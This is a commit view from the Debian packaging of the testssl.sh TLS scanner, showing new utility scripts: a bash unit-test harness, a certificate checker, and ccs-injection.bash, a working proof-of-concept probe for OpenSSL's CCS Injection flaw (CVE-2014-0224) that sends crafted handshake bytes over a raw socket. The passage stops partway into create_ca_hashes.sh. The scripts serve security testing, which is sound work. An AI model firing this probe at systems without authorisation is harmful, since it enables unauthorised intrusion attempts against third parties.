summaryrefslogtreecommitdiffstats
path: root/utils
diff options
context:
space:
mode:
authorDaniel Baumann <daniel.baumann@progress-linux.org>2024-04-15 17:11:11 +0000
committerDaniel Baumann <daniel.baumann@progress-linux.org>2024-04-15 17:11:11 +0000
commitba28aa09cebfba17fd16de2af6fedf7ecc76eea5 (patch)
tree44e2ff1493776a06e95c359c53a1cabca5d8a8d4 /utils
parentInitial commit. (diff)
downloadtestssl.sh-upstream.tar.xz
testssl.sh-upstream.zip
Adding upstream version 3.2~rc3+dfsg.upstream/3.2_rc3+dfsgupstream
Signed-off-by: Daniel Baumann <daniel.baumann@progress-linux.org>
Diffstat (limited to 'utils')
-rwxr-xr-xutils/00_unittest_baseline.sh104
-rwxr-xr-xutils/ccs-injection.bash356
-rwxr-xr-xutils/checkcert.sh343
-rwxr-xr-xutils/create_ca_hashes.sh47
-rwxr-xr-xutils/curves.bash94
-rwxr-xr-xutils/docker-debian10.tls13only.start.sh33
-rwxr-xr-xutils/docker-nginx.tls13-earlydata.start.sh56
-rwxr-xr-xutils/generate_static_cipher_lists.sh372
-rwxr-xr-xutils/gmap2testssl.sh168
-rwxr-xr-xutils/heartbleed.bash307
-rwxr-xr-xutils/hexstream2cipher.sh38
-rwxr-xr-xutils/hexstream2curves.sh38
-rwxr-xr-xutils/make-openssl.sh160
-rwxr-xr-xutils/make-openssl111.sh98
-rwxr-xr-xutils/parse_client_ciphers.pl45
-rwxr-xr-xutils/prototype.ssl2proto-check.bash232
-rwxr-xr-xutils/prototype.tls-protocol-checker.bash372
-rwxr-xr-xutils/resume.sh22
-rwxr-xr-xutils/ticketbleed.bash352
-rwxr-xr-xutils/update_client_sim_data.pl506
20 files changed, 3743 insertions, 0 deletions
diff --git a/utils/00_unittest_baseline.sh b/utils/00_unittest_baseline.sh
new file mode 100755
index 0000000..f5a53a5
--- /dev/null
+++ b/utils/00_unittest_baseline.sh
@@ -0,0 +1,104 @@
+#!/usr/bin/env bash
+#
+# PoC for unit tests in bash. Basic test with s_server, works under Linux only atm
+
+OPENSSL="bin/openssl.$(uname).$(uname -m)"
+$OPENSSL version -a || exit 1
+
+FILE=tmp.json
+
+remove_quotes() {
+ sed -i 's/"//g' "$FILE"
+}
+
+# arg1: id_value
+# arg2: string to check against severity_value (optional)
+# arg2,3: string to check against finding_value
+# return: 0 whether it contains arg2 or arg3 (0: yes, 1: matches not)
+check_result() {
+ # id : sslv3,
+ # ip : localhost/127.0.0.1,
+ # port : 4433,
+ # severity : HIGH,
+ # finding : SSLv3 is offered
+
+ local json_result=""
+ local severity_value=""
+ local finding_value=""
+
+ remove_quotes
+ json_result="$(awk '/id.*'"${1}"'/,/finding.*$/' "$FILE")"
+ [[ -z $json_result ]] && exit 1
+ # is4lines?
+ finding_value="$(awk -F':' '/finding/ { print $2" "$3" "$4 }' <<< "$json_result")"
+ if [[ $# -eq 2 ]]; then
+ [[ $finding_value =~ "$2" ]] && return 0 || return 1
+ fi
+ severity_value="$(awk -F':' '/severity/ { print $2 }' <<< "$json_result")"
+ if [[ $finding_value =~ "$3" ]] && [[ $severity_value =~ "$2" ]] ; then
+ return 0
+ else
+ return 1
+ fi
+}
+
+### generate self signed certificate
+$OPENSSL req -new -x509 -out /tmp/server.crt -nodes -keyout /tmp/server.pem -subj '/CN=localhost' &>/dev/null || exit 2
+echo
+
+
+### 1) test protocol SSlv2:
+$OPENSSL s_server -www -ssl2 -key /tmp/server.pem -cert /tmp/server.crt &>/dev/null &
+pid=$!
+rm "$FILE" 2>/dev/null
+echo "Running testssl.sh SSLv2 protocol check against localhost for SSLv2: "
+./testssl.sh -p -q --warnings=off --jsonfile="$FILE" localhost:4433
+check_result SSLv2 CRITICAL "vulnerable with 9 ciphers"
+[[ $? -eq 0 ]] && echo "SSLv2: PASSED" || echo "FAILED"
+echo
+kill -9 $pid
+wait $pid 2>/dev/null
+
+### 2) test NPN + ALPN
+$OPENSSL s_server -cipher 'ALL:COMPLEMENTOFALL' -alpn "h2" -nextprotoneg "spdy/3, http/1.1" -www -key /tmp/server.pem -cert /tmp/server.crt &>/dev/null &
+pid=$!
+rm "$FILE"
+echo "Running testssl.sh HTTP/2 protocol checks against localhost: "
+./testssl.sh -q --jsonfile="$FILE" --protocols localhost:4433
+if check_result NPN "spdy/3, http/1.1"; then
+ echo "SPDY/NPN: PASSED"
+else
+ echo "SPDY/NPN: FAILED"
+fi
+
+if check_result ALPN "h2"; then
+ echo "HTTP2/ALPN: PASSED"
+else
+ echo "HTTP2/ALPN: FAILED"
+fi
+kill -9 $pid
+wait $pid 2>/dev/null
+rm "$FILE"
+
+### 3) test almost all other stuff
+$OPENSSL s_server -cipher 'ALL:COMPLEMENTOFALL' -www -key /tmp/server.pem -cert /tmp/server.crt &>/dev/null &
+pid=$!
+rm "$FILE"
+echo "Running baseline check with testssl.sh against localhost"
+./testssl.sh -q --jsonfile="$FILE" localhost:4433
+#check_result sslv2 CRITICAL "is offered"
+kill -9 $pid
+wait $pid 2>/dev/null
+
+rm "$FILE"
+
+
+### test server defaults
+# ./testssl.sh -q --jsonfile=$FILE --server-defaults localhost:4433
+# -serverpref
+# -no_ticket
+# -no_resumption_on_reneg
+# -status
+
+# vim:ts=5:sw=5:expandtab
+
diff --git a/utils/ccs-injection.bash b/utils/ccs-injection.bash
new file mode 100755
index 0000000..3cd7c26
--- /dev/null
+++ b/utils/ccs-injection.bash
@@ -0,0 +1,356 @@
+#!/usr/bin/env bash
+
+# POC bash socket implementation of CCS Injection vulnerability in OpenSSL (CVE-2014-0224),
+# see https://www.openssl.org/news/secadv_20140605.txt
+# Author: Dirk Wetter, GPLv2 see https://testssl.sh/LICENSE.txt
+#
+# sockets inspired by http://blog.chris007.de/?p=238
+# mainly adapted from the C code from https://gist.github.com/rcvalle/71f4b027d61a78c42607
+# thx Ramon de C Valle
+#
+# handshakes from RFCs. Good source too: https://github.com/ioerror/sslscan/blob/master/sslscan.c
+#
+###### DON'T DO EVIL! USAGE AT YOUR OWN RISK. DON'T VIOLATE LAWS! #######
+
+readonly PS4='${LINENO}: ${FUNCNAME[0]:+${FUNCNAME[0]}(): }'
+trap "cleanup" QUIT EXIT
+
+[ -z "$1" ] && exit 1
+
+NODE="$1"
+PORT="443"
+JABBERNODE=${JABBERNODE}
+SLEEP=2
+MAXSLEEP=10
+OCKREPLY=""
+COL_WIDTH=32
+DEBUG=${DEBUG:-0}
+HELLO_READBYTES=${HELLO_READBYTES:-65535}
+
+TLSV=${2:-01}
+# TLS 1.0=x01 1.1=0x02, 1.2=0x3
+# the PoC contains per default only check for TLS1.0 as the is the least common denominator
+
+ccs_message="\x14\x03\x$TLSV\x00\x01\x01"
+
+client_hello="
+# TLS header ( 5 bytes)
+,x16, # Content type (x16 for handshake)
+x03, x$TLSV, # TLS Version
+x00, x93, # Length total
+# Handshake header
+x01, # Type (x01 for ClientHello)
+x00, x00, x8f, # Length client hello
+x03, x$TLSV, # TLS Version
+x53, x9c, xb2, xcb, # 4 bytes Unix time see www.moserware.com/2009/06/first-few-milliseconds-of-https.html
+x4b, x42, xf9, x2d, x0b, xe5, x9c, x21, # 28 bytes random bytes
+xf5, xa3, x89, xca, x7a, xd9, xb4, xab,
+x3f, xd3, x22, x21, x5e, xc4, x65, x0d,
+x1e, xce, xed, xc2,
+x00, # Session ID length
+x00, x68, # Cipher suites length
+ xc0, x13, # ciphers come now, here: ECDHE-RSA-AES128-SHA = TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
+ xc0, x12,
+ xc0, x11,
+ xc0, x10,
+ xc0, x0f,
+ xc0, x0e,
+ xc0, x0d,
+ xc0, x0c,
+ xc0, x0b,
+ xc0, x0a,
+ xc0, x09,
+ xc0, x08,
+ xc0, x07,
+ xc0, x06,
+ xc0, x05,
+ xc0, x04,
+ xc0, x03,
+ xc0, x02,
+ xc0, x01,
+ x00, x39,
+ x00, x38,
+ x00, x37,
+ x00, x36,
+ x00, x35,
+ x00, x34,
+ x00, x33,
+ x00, x32,
+ x00, x31,
+ x00, x30,
+ x00, x2f,
+ x00, x16,
+ x00, x15,
+ x00, x14,
+ x00, x13,
+ x00, x12,
+ x00, x11,
+ x00, x10,
+ x00, x0f,
+ x00, x0e,
+ x00, x0d,
+ x00, x0c,
+ x00, x0b,
+ x00, x0a,
+ x00, x09,
+ x00, x08,
+ x00, x07,
+ x00, x06,
+ x00, x05,
+ x00, x04,
+ x00, x03,
+ x00, x02,
+ x00, x01, # TLS_RSA_WITH_NULL_MD5
+ x01, x00" # compression methods length (1) + Compression method(1)
+
+#msg=`echo "$client_hello" | sed -e 's/# .*$//g' -e 's/,/\\\/g' | sed -e 's/ //g' | tr -d '\n'`
+msg=$(echo "$client_hello" | sed -e 's/# .*$//g' -e 's/ //g' | sed -E 's/^[[:space:]]+//; s/[[:space:]]+$//; /^$/d' | sed 's/,/\\/g' | tr -d '\n')
+
+
+parse_hn_port() {
+ # strip "https", supposed it was supplied additionally
+ echo $NODE | grep -q 'https://' && NODE=`echo $NODE | sed -e 's/https\:\/\///' `
+
+ # strip trailing urlpath
+ NODE=`echo $NODE | sed -e 's/\/.*$//'`
+
+ # determine port, supposed it was supplied additionally
+ echo $NODE | grep -q ':' && PORT=`echo $NODE | sed 's/^.*\://'` && NODE=`echo $NODE | sed 's/\:.*$//'`
+ echo -e "\n===> connecting to $NODE:$PORT\n"
+}
+
+debugme() {
+ [[ $DEBUG -ge 2 ]] && "$@"
+}
+
+
+wait_kill(){
+ pid=$1
+ maxsleep=$2
+ while true; do
+ if ! ps $pid >/dev/null ; then
+ return 0 # didn't reach maxsleep yet
+ fi
+ sleep 1
+ maxsleep=$((maxsleep - 1))
+ test $maxsleep -eq 0 && break
+ done # needs to be killed:
+ kill $pid >&2 2>/dev/null
+ wait $pid 2>/dev/null
+ return 3 # killed
+}
+
+
+starttls_just_read(){
+ echo "=== just read banner ==="
+ cat <&5 &
+ wait_kill $! $SLEEP
+}
+
+
+socksend() {
+ data=`echo $1`
+ echo "\"$data\""
+ echo -en "$data" >&5 &
+ sleep $SLEEP
+}
+
+sockread() {
+ [[ "x$2" == "x" ]] && maxsleep=$MAXSLEEP || maxsleep=$2
+ ret=0
+
+ ddreply=$(mktemp /tmp/ddreply.XXXXXX) || return 7
+ dd bs=$1 of=$ddreply count=1 <&5 2>/dev/null &
+ wait_kill $! $maxsleep
+ ret=$?
+ SOCKREPLY=$(cat $ddreply)
+ rm $ddreply
+
+ return $ret
+}
+
+# arg1: string to send
+# arg2: possible success strings a egrep pattern, needed!
+starttls_line0() {
+ reply=$(mktemp /tmp/reply.XXXXXX) || return 7
+
+ debugme echo -e "\n=== sending \"$1\" ..."
+ echo -e "$1" >&5
+ dd bs=1024 of=$reply count=32 <&5 2>/dev/null &
+ wait_kill $! $SLEEP
+ debugme echo "... received result: "
+ cat $reply
+ if [ -n "$2" ]; then
+ if grep -Eq "$2" $reply; then
+ debugme echo "---> reply matched \"$2\""
+ [ $DEBUG -eq 0 ] && rm $reply
+ return 0
+ else
+ debugme echo "---> reply didn't match \"$2\", see $reply"
+ fixme "STARTTLS handshake problem"
+ exit 1
+ fi
+ fi
+}
+
+
+starttls_line1() {
+ echo "$1" >&5
+ while true; do
+ read line <&5
+ echo $line
+ break
+ done
+}
+
+fixme(){
+ tput bold; tput setaf 5; echo -e "\n$1\n"; tput sgr0
+}
+
+
+ok_ids() {
+ echo
+ tput bold; tput setaf 2; echo "ok -- something reset our ccs packets"; tput sgr0
+ echo
+ exit 0
+}
+
+fd_socket(){
+ local jabber=""
+
+ if ! exec 5<> /dev/tcp/$NODE/$PORT; then
+ echo "`basename $0`: unable to connect to $NODE:$PORT"
+ exit 2
+ fi
+
+ case "$1" in # port
+ 21) # https://tools.ietf.org/html/rfc4217
+ starttls_just_read
+ starttls_line0 "FEAT" "211"
+ #starttls_line0 HELP "214"
+ starttls_line0 "AUTH TLS" "successful|234"
+ ;;
+ 25) # SMTP, see https://tools.ietf.org/html/rfc4217
+ starttls_just_read
+ starttls_line0 "EHLO testssl.sh" "220|250"
+ starttls_line0 "STARTTLS" "220"
+ ;;
+ 110) # POP, see https://tools.ietf.org/html/rfc2595
+ starttls_just_read
+ starttls_line0 "STLS" "OK"
+ ;;
+ 119|433) # NNTP, see https://tools.ietf.org/html/rfc4642
+ starttls_just_read
+ starttls_line0 "CAPABILITIES" "101|200"
+ starttls_line0 "STARTTLS" "382"
+ ;;
+ 143) # IMAP, https://tools.ietf.org/html/rfc2595
+ starttls_just_read
+ starttls_line0 "a001 CAPABILITY" "OK"
+ starttls_line0 "a002 STARTTLS" "OK"
+ ;;
+ 389) # LDAP, https://tools.ietf.org/html/rfc2830, https://tools.ietf.org/html/rfc4511
+ fixme "LDAP: FIXME not yet implemented"
+ exit 1
+ ;;
+ 674) # ACAP = Application Configuration Access Protocol, see https://tools.ietf.org/html/rfc2595
+ fixme "ACAP: FIXME not yet implemented"
+ exit 1
+ ;;
+ 5222) # XMPP, see https://tools.ietf.org/html/rfc6120
+ starttls_just_read
+ # following would be without hostname, jabber.org doesn't need it, others do!
+ #starttls_line0 "<stream:stream xmlns:stream='http://etherx.jabber.org/streams' xmlns='jabber:client' version='1.0'>\r\n"
+ [ -z $JABBERNODE ] && JABBERNODE="$NODE"
+ # as ioerror says: $NODE is not always the correct one, some jabber implementations need a special hostname!
+ # supply $JABBERNODE in ENV and you're set, like: DEBUG=2 JABBERNODE=google.com ./heartbleed.bash talk.google.com:5222
+ jabber=$(cat <<EOF
+<?xml version='1.0' ?>
+<stream:stream
+xmlns:stream='http://etherx.jabber.org/streams'
+xmlns='jabber:client'
+to='$JABBERNODE'
+xml:lang='en'
+version='1.0'>
+EOF
+)
+ starttls_line0 "$jabber"
+ starttls_line0 "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>" "proceed"
+ # BTW: https://xmpp.net !
+ ;;
+ 443|995|993|465|*) # we don't need a special pre-command here
+ ;;
+ esac
+ echo
+}
+
+
+close_socket(){
+ exec 5<&-
+ exec 5>&-
+ return 0
+}
+
+cleanup() {
+ close_socket
+}
+
+
+#### main
+
+parse_hn_port
+fd_socket $PORT
+
+
+echo "##### sending standard client hello with TLS version 03,$TLSV:"
+socksend "$msg" $TLSV
+sleep 1
+
+sockread $HELLO_READBYTES
+echo "##### reading server hello ($HELLO_READBYTES bytes):"
+if test $DEBUG ; then
+ echo "$SOCKREPLY" | xxd -c$COL_WIDTH | head -10
+ echo "[...]"
+ echo
+fi
+if [ 1 -ge $(echo "$SOCKREPLY" | xxd | wc -l) ]; then
+ tput bold; tput setaf 5; echo "TLS handshake failed"; tput sgr0
+ exit 1
+fi
+
+
+echo "##### sending ccs injection payload with TLS version 03,$TLSV (1)"
+socksend "$ccs_message" $TLSV || ok_ids
+sleep 1
+echo "##### sending ccs injection payload with TLS version 03,$TLSV (2)"
+socksend "$ccs_message" $TLSV || ok_ids
+sleep 1
+
+sockread 65534
+echo
+echo "###### reply: "
+echo "============================="
+echo "$SOCKREPLY" | xxd -c$COL_WIDTH | head -20
+echo "============================="
+echo
+
+reply_sanitized=$(echo -e "$SOCKREPLY" | xxd -p | tr -cd '[:print:]' | sed 's/^..........//')
+test $DEBUG || echo $reply_sanitized
+
+lines=$(echo -e "$SOCKREPLY" | xxd -c32 | wc -l)
+test $DEBUG || echo $lines
+
+if [ "$lines" -gt 1 ] || [ "$reply_sanitized" == "0a" ] ;then
+ tput bold; tput setaf 2; echo "ok"; tput sgr0
+ ret=0
+else
+ tput bold; tput setaf 1; echo "VULNERABLE"; tput sgr0
+ ret=1
+fi
+
+
+echo
+exit $ret
+
+# vim:ts=5:sw=5:expandtab
+# $Id: ccs-injection.bash,v 1.9 2015/07/06 20:01:49 dirkw Exp $
diff --git a/utils/checkcert.sh b/utils/checkcert.sh
new file mode 100755
index 0000000..24a27f5
--- /dev/null
+++ b/utils/checkcert.sh
@@ -0,0 +1,343 @@
+#!/usr/bin/env bash
+
+
+# on the command line:
+# STARTTLS="-starttls $protocol"; export STARTTLS
+# protocol=smtp,impa,pop,xmpp,jabber
+
+##### THIS WILL BE INTEGRATED INTO testssl.sh
+##### it has no production qualiity yet and I'll likely disregard
+##### any issues/patches until this will be done
+#
+# license is GPLv2, see file LICENSE
+
+
+DAYS2WARN=60
+
+ECHO="/bin/echo -e"
+COLOR=0
+
+CA_BUNDLE="/etc/ssl/ca-bundle.pem"
+CA_BUNDLE_CMD="-CApath /etc/ssl/certs/"
+#CA_BUNDLE_CMD="-CAfile $CA_BUNDLE"
+#`openssl version -d` /certs/
+
+off() {
+ if [ $COLOR = 0 ]; then $ECHO "\033[m\c"; fi
+}
+
+bold() {
+ $ECHO "\033[1m$1"; off
+}
+
+underscore() {
+ $ECHO "\033[4m$1\c"; off
+}
+
+
+blue() {
+ if [ $COLOR = 0 ]; then $ECHO "\033[1;34m$1 "; else $ECHO "**$1** "; fi
+ off
+}
+
+brown() {
+ [ $COLOR = 0 ] && $ECHO "\033[0;33m$1 " || out "**$1** "
+ off
+}
+
+
+green() {
+ if [ $COLOR = 0 ]; then $ECHO "\033[1;32m$1 "; else $ECHO "**$1** "; fi
+ off
+}
+lgreen() {
+ if [ $COLOR = 0 ]; then $ECHO "\033[0;32m$1 "; else $ECHO "**$1** "; fi
+ off
+}
+
+red() {
+ if [ $COLOR = 0 ]; then $ECHO "\033[1;31m$1 "; else $ECHO "**$1** "; fi
+ off
+}
+lred() {
+ if [ $COLOR = 0 ]; then $ECHO "\033[0;31m$1 "; else $ECHO "**$1** "; fi
+ off
+}
+
+
+datebanner() {
+ tojour=`date +%F`" "`date +%R`
+ echo
+ bold "$1 now ($tojour) ---> $NODEIP:$PORT ($NODE) <---"
+}
+
+
+dns() {
+ ip4=`host -t a $1 | grep -v alias | sed 's/^.*address //'`
+ command -v getent 2>&1 >/dev/null && getent ahostsv4 $1 2>&1 >/dev/null && ip4=`getent ahostsv4 $1 | awk '{ print $1}' | uniq`
+ NODEIP=`echo "$ip4" | head -1`
+ rDNS=`host -t PTR $NODEIP | sed -e 's/^.*pointer //' -e 's/\.$//'`
+ echo $rDNS | grep -q NXDOMAIN && rDNS=""
+}
+
+
+display_dns() {
+ $ECHO
+ [ -n "$rDNS" ] && $ECHO "rDNS: $rDNS"
+ if [ `echo "$ip4" | wc -l` -gt 1 ]; then
+ $ECHO "$1 other IPv4 addresses:\c"
+ for i in $ip4; do
+ [ "$i" == "$NODEIP" ] && continue
+ $ECHO " $i\c"
+ done
+ fi
+ echo
+}
+
+
+############## main
+
+NODE="$1"
+[ -z "$NODE" ] && echo "arg1 (=node) missing" && exit 1
+PORT=${2:-443}
+
+# strip "https" and trailing urlpath supposed it was supplied additionally
+echo $NODE | grep -q 'https://' && NODE=`echo $NODE | sed -e 's/https\:\/\///' -e 's/\/.*$//'`
+
+# determine port, supposed it was supplied additionally
+echo $NODE | grep -q ':' && PORT=`echo $NODE | sed 's/^.*\://'` && NODE=`echo $NODE | sed 's/\:.*$//'`
+
+dns $NODE
+datebanner "Testing" $NODE
+display_dns $NODE
+
+TMPDIR=`mktemp -d /tmp/checkcert.$NODE.$PORT.XXXXXX` || exit 6
+HOSTCERT_SNI="$TMPDIR/hostcert_sni.txt"
+HOSTCERT="$TMPDIR/hostcert.txt"
+
+FD2_HOST_SNI="$TMPDIR/fd2_host_sni.txt"
+FD2_HOST="$TMPDIR/fd2_host.txt"
+
+# test whether I can ssl to it:
+#echo | openssl s_client -connect $NODE:$PORT 2>&1 >/dev/null || exit 7
+
+SNI="-servername $NODE"
+# dl pub key
+openssl s_client $STARTTLS -connect $NODEIP:$PORT $SNI 2>$FD2_HOST_SNI </dev/null | awk '/-----BEGIN/,/-----END/ { print $0 }' >$HOSTCERT_SNI
+openssl s_client $STARTTLS -connect $NODEIP:$PORT 2>$FD2_HOST </dev/null | awk '/-----BEGIN/,/-----END/ { print $0 }' >$HOSTCERT
+
+#bold "\nTrust\n"
+#openssl verify -verbose $HOSTCERT
+#http://www.madboa.com/geek/openssl/#verify-standardA
+#http://www.madboa.com/geek/openssl/#verify-system
+#echo $?
+
+bold "\nPubkey"
+openssl x509 -noout -in $HOSTCERT_SNI -pubkey
+
+bold "\nFingerprint/Serial"
+openssl x509 -noout -in $HOSTCERT_SNI -fingerprint
+openssl x509 -noout -in $HOSTCERT_SNI -serial
+
+bold "\nSignature Algorithm"
+algo=`openssl x509 -noout -in $HOSTCERT_SNI -text | grep "Signature Algorithm" | sed 's/^.*Signature Algorithm: //' | sort -u `
+case $algo in
+ sha1WithRSAEncryption) brown "SHA1withRSA" ;;
+ sha256WithRSAEncryption) lgreen "SHA256withRSA" ;;
+ sha512WithRSAEncryption) lgreen "SHA512withRSA" ;;
+ md5*) red "MD5" ;;
+ *) echo $algo ;;
+#https://blog.hboeck.de/archives/754-Playing-with-the-EFF-SSL-Observatory.html
+esac
+
+# Secs of a day:
+SECS2WARN=`echo "24 * 60 * 60 * $DAYS2WARN" | bc`
+
+bold "\nExpiration"
+openssl x509 -noout -in $HOSTCERT_SNI -startdate -enddate
+
+expire=`openssl x509 -in $HOSTCERT_SNI -checkend 0`
+if ! echo $expire | grep -qw not; then
+ red "Certificate has expired!!"
+else
+ expire=`openssl x509 -in $HOSTCERT_SNI -checkend $SECS2WARN`
+ echo "$expire" | grep -qw not && green "Certificate is ok for the next $DAYS2WARN days" || \
+ lred "Certificate will expire within the next $DAYS2WARN days!"
+fi
+
+
+#######
+bold "\nSubject / CN issues"
+
+SAN=""
+SAN=`openssl x509 -noout -in $HOSTCERT -text | grep -A3 "Subject Alternative Name" | grep "DNS:" | sed -e 's/DNS://g' -e 's/ //g' -e 's/,/\n/g'`
+SAN_SNI=`openssl x509 -noout -in $HOSTCERT_SNI -text | grep -A3 "Subject Alternative Name" | grep "DNS:" | sed -e 's/DNS://g' -e 's/ //g' -e 's/,/\n/g'`
+
+subject_sni=`openssl x509 -noout -in $HOSTCERT_SNI -subject | sed 's/subject= //'`
+subject_str=`openssl x509 -noout -in $HOSTCERT -subject | sed 's/subject= //'`
+CN_SNI=`echo $subject_sni | sed -e 's/^.*CN=//' -e 's/\/emailAdd.*//'`
+CN=`echo $subject_str | sed -e 's/^.*CN=//' -e 's/\/emailAdd.*//'`
+$ECHO -n "Common Name: "; underscore "$CN_SNI"
+
+test "$DEBUG" && $ECHO " ($subject_sni" # complete certificate subject
+test "$DEBUG" && $ECHO " ($subject_str)" # complete certificate subject
+#openssl x509 -noout -in $HOSTCERT_SNI -serial -startdate -enddate -dates -subject -issuer -email -ocsp_uri -ocspid -purpose >$TMPDIR/textout_sni.txt
+openssl x509 -noout -in $HOSTCERT_SNI -text >$TMPDIR/textout_level0.cert_sni.txt
+
+MATCHOK=0
+REASON_MATCH=""
+
+if [ "$CN_SNI" != "$CN" ]; then
+ $ECHO "\nSNI mandatory, otherwise \c"; underscore "$CN\c"; $ECHO " matches\c"
+ #FIXME: e.g. google.de hast google.com as $CN, and google.com includes SAN *.google.de
+else
+ $ECHO " no SNI needed \c"
+# haken? siehe lists.appsec.eu vs pm.appsec.eu --> beide haben wildcard
+fi
+
+if [ "$NODE" == "$CN" ]; then
+# $ECHO " matches hostname directly, "
+ REASON_MATCH="direct match,"
+ MATCHOK=1
+elif [ "$CN_SNI" == "$NODE" ]; then ###?????
+# $ECHO " matches hostname via SNI, "
+ REASON_MATCH="SNI,"
+ MATCHOK=1
+fi
+
+if [ x"$SAN_SNI" != x"$CN_SNI" ]; then
+ $ECHO "\nSAN exist:\c"
+ for subjectAltName in `$ECHO $SAN_SNI`; do
+ if [ "$NODE" == "$subjectAltName" ] ; then
+ underscore "$subjectAltName, \c"
+ REASON_MATCH="$REASON_MATCH SAN,"
+ MATCHOK=1
+ else
+ $ECHO " $subjectAltName, \c"
+ fi
+ done
+fi
+
+if echo "$CN_SNI" | grep -q '^\*'; then
+ # *.domain.tld = *.domain.tld
+ [ "*.$NODE" == "$CN_SNI" ] && REASON_MATCH="$REASON_MATCH Wildcard (all subdomains)" && MATCHOK=1
+# expr: können mehrere Gründe sein!
+
+ # prefix.domain.tld = *.domain.tld
+ domaintld=`echo $NODE | sed 's/^[0-9a-zA-Z]*\.//1'`
+ [ "*.$domaintld" == "$CN_SNI" ] && REASON_MATCH="$REASON_MATCH Wildcard (from TLD)" && MATCHOK=1
+fi
+
+if [ $MATCHOK -eq 1 ] ; then
+ green "\nMatch OK\c"
+ $ECHO ": $REASON_MATCH"
+else
+ red "\nMatch failed"
+fi
+
+
+bold "\n\nCertificate chain\c"
+#openssl x509 -text -in $HOSTCERT | awk '/Certificate chain/,/--/ { print $0 }' | sed -e 's/---//' -e 's/Certificate chain//'
+openssl s_client $STARTTLS -connect $NODEIP:$PORT $SNI 2>/dev/null </dev/null | awk '/Certificate chain/,/--/ { print $0 }' | sed -e 's/---//' -e 's/Certificate chain//' | tee $TMPDIR/all-chain.txt
+
+# so alle einsacken:
+#openssl s_client -showcerts -connect $NODEIP:$PORT $SNI 2>/dev/null </dev/null | awk '/-----BEGIN/,/-----END/ { print $0 }'
+savedir=`pwd`; cd $TMPDIR
+openssl s_client -showcerts $STARTTLS -connect $NODEIP:$PORT $SNI 2>/dev/null </dev/null | \
+ awk -v c=-1 '/-----BEGIN CERTIFICATE-----/{inc=1;c++} inc {print > ("level" c ".crt")} /---END CERTIFICATE-----/{inc=0}'
+nrsaved=`ls level?.crt | wc -w`
+$ECHO "retrieved $nrsaved pub certs"
+# die CA Kette hochgehen
+for i in level?.crt; do openssl x509 -noout -serial -subject -issuer -in "$i"; echo; done > all.serial-subject-issuer.txt
+NR_RETRIEVED=`ls -1 level* | wc -l`
+cd $savedir
+
+bold "\nChecking issuer chain against local certs"
+issuerok=`echo | openssl s_client $CA_BUNDLE_CMD -connect $NODEIP:$PORT 2>/dev/null | grep "Verify return code" | sed 's/^.*Verify return code: //'`
+if echo $issuerok | grep -qw ok ; then
+ green "$issuerok"
+else
+ red "$issuerok"
+fi
+
+bold "\nE-mail"
+email=`openssl x509 -noout -in $HOSTCERT_SNI -email`
+[ x"$email" == "x" ] && underscore "<none>" || echo "$email"
+echo
+
+
+
+bold "\nOCSP"
+echo -en "URL: "
+ocsp_uri=`openssl x509 -noout -in $HOSTCERT_SNI -ocsp_uri`
+[ x"$ocsp_uri" == "x" ] && lred "<none>" || echo "$ocsp_uri"
+
+
+# ARG1: level2check
+# ARG2: issuer of level2check cert
+check_revocation() {
+ #FIXME: check ocsp/ocsp stapling with CA
+ # * CRLs/OCSP abfragen (http://backreference.org/2010/05/09/ocsp-verification-with-openssl/)
+
+#FIXME:
+ #ocsp_uri=`openssl x509 -noout -in level$1.crt -ocsp_uri`
+
+ [ -z "$ocsp_uri" ] && lred ".. doesn't have a OCSP URL" && return 1
+ addissuer=""
+ if [ -s $TMPDIR/level$2.crt ]; then
+ addissuer="-issuer $TMPDIR/level$2.crt"
+ NO_ISSUER_PROVIDED=0
+ else
+ addissuer="-issuer $CA_BUNDLE"
+ NO_ISSUER_PROVIDED=1
+ fi
+
+ ocsp_hostheader=`echo $ocsp_uri | sed -e 's/http\:\/\///' -e 's/\/.*$//'` #sometimes needed
+ openssl ocsp $CA_BUNDLE_CMD $addissuer -cert $TMPDIR/level$1.crt -text -url $ocsp_uri -header HOST $ocsp_hostheader &>$TMPDIR/ocsp-longresponse$1.txt
+ openssl ocsp $CA_BUNDLE_CMD $addissuer -cert $TMPDIR/level$1.crt -url $ocsp_uri -header HOST $ocsp_hostheader &>$TMPDIR/ocsp-response$1.txt
+
+#tmpdir_escaped=`echo $TMPDIR | sed 's/\//\\\//g'`
+#cat $TMPDIR/ocsp-response.txt | grep -Ev "^WARNING: no nonce|^Response Verify Failure|OCSP_basic_verify" | sed 's/'"${tmpdir_escaped}"'//'
+ cat $TMPDIR/ocsp-response$1.txt | grep -Ev "^WARNING: no nonce|^Response Verify Failure|OCSP_basic_verify" | sed 's/^.*level/level/'
+ if grep -q "level$1.crt.*good" $TMPDIR/ocsp-response$1.txt ; then
+ green "not revoked (OK)\c"
+ else
+ lred "pls check manually (hint: $TMPDIR/ocsp-longresponse$1.txt). \c"
+ [ $NO_ISSUER_PROVIDED -eq 0 ] && lred " Also the chain might be incomplete\c"
+ fi
+}
+
+bold "\nChecking whether server certs have been revoked"
+#set -x
+#for level in `seq 1 $NR_RETRIEVED`; do
+for level in 1; do
+ minus1=`expr $level - 1`
+ $ECHO "##### level$minus1 #####"
+ check_revocation $minus1 $level
+ $ECHO
+done
+#set +x
+
+
+bold "\nPurpose"
+openssl x509 -noout -in $HOSTCERT_SNI -purpose | grep -v 'Certificate purpose' | grep -i yes
+
+datebanner "Done" $NODE
+echo
+
+printf "logdir is $TMPDIR . Save it? "
+read a
+case $a in
+ y|Y|yes|YES) cp -a $TMPDIR $PWD && echo "saved $TMPDIR to $PWD" ;;
+ *) $ECHO "left $TMPDIR"
+esac
+
+
+#rm -rf $TMPDIR
+
+exit 0
+
+# vim:ts=5:sw=5:expandtab
+# $Id: checkcert.sh,v 1.20 2014/09/16 22:38:03 dirkw Exp $
+
+
diff --git a/utils/create_ca_hashes.sh b/utils/create_ca_hashes.sh
new file mode 100755
index 0000000..22737f5
--- /dev/null
+++ b/utils/create_ca_hashes.sh
@@ -0,0 +1,47 @@
+#!/usr/bin/env bash
+#
+# vim:ts=5:sw=5:expandtab
+# we have a spaces softtab, that ensures readability with other editors too
+
+# This file generates the file etc/ca_hashes.txt from the (root)certificate
+# Bundles in etc (etc/*.pem)
+
+TEMPDIR="/tmp"
+
+# Check if we are in the right directory
+if [[ ! -e etc ]]; then
+ echo "Please run this script from the base directory of the testssl.sh project"
+ exit 99
+fi
+
+echo "Extracting private key hashes from CA bundles"
